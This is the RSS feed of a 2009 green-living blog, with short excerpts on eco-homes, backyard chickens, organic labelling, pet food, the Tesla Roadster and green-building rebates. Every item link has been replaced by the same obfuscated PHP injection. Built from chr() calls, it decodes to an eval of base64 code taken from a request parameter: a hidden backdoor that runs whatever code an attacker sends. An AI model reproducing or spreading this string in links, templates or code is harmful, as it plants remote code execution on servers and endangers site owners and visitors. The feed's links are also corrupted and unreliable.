http://www.boygreen.com green building | green living | green eating | green thinking Wed, 02 Dec 2009 00:03:10 +0000 http://backend.userland.com/rss092 en Tightly spaced rows of enormous look-alike homes have been criticized for years, dubbed "McMansions." With more and more people looking to green their lifestyles, we may see less of these oversized, expensive, energy guzzling homes popping up as they struggle to compete with smaller, more affordable green housing. It's no surprise ... http://www.boygreen.com/%info[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*% Building a green home can seem like an overwhelming and daunting task. With so many options and choices to consider, how do you decide which green materials to include in your project and where do you start? Here are some simple green ideas to get your construction project off to ... http://www.boygreen.com/%info[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*% At first, people think I'm a little crazy when I tell them I have chickens as pets. It seemed to make perfect sense to me, going right along with the other green lifestyle changes I've made, but I guess green eggs aren't on the minds of most. So let's examine the different choices ... http://www.boygreen.com/%info[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*% Organic labels on personal care products can be deceiving. Due to a lack of proper regulation of personal care product labeling, products can have the word organic in their brand or product name, but unless the product is USDA Certified organic, you may not be getting what you paid for. A ... http://www.boygreen.com/%info[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*% A few years ago, I started boiling some water in a non-stick coated pot, forgot about it and left the house. I returned a few hours later to find the water had evaporated and the pot was steaming on the stove. In the next room, I found my pet cockatiel, Newton, ... http://www.boygreen.com/%info[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*% Halloween is approaching. Go green for halloween this year. Here are some ideas: Hand out organic candy or healthy snacks like trail mix. Trick-or-Treat for your local food bank: Accompany your kids (in costume, of course!) and ask your neighbors to donate a canned or non-perishable food item for the bank. Try organizing a community-wide ... http://www.boygreen.com/%info[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*% When choosing countertops for your green building project, there are several aspects to consider: Sustainability means durability - you don't want to install cheap products that will wear out or appear dated after just a few years. Request a sample of the product you're considering and try scratching and chipping it ... http://www.boygreen.com/%info[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*% Green living includes our four-legged friends, too. Many brands of dog food, cat food and treats include unhealthy chemicals, by-products, cheap grains, and high levels of salt and sugar. If you've decided to go green, you're probably avoiding eating these things yourself, but what about your pets? Proper nutrition is just ... http://www.boygreen.com/%info[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*% The Tesla Roadster, now in production, is a serious sports car. It is also seriously green. As a sports car, the statistics are stunning. Since it is based on the Lotus Elise, it's pedigree is not in question. It will do 0-60 in under 4 seconds and handles with a ... http://www.boygreen.com/%info[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*% Have you been wanting to go green but are afraid of the costs? Many states offer rebates or tax breaks for installing solar panels or wind turbines, along with other renewable energy incentives. In addition, some municipalities have reduced building permit fees and even priority plan review for green buildings, which can save ... http://www.boygreen.com/%info[{${eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(41).chr(59)).exit()}}]*%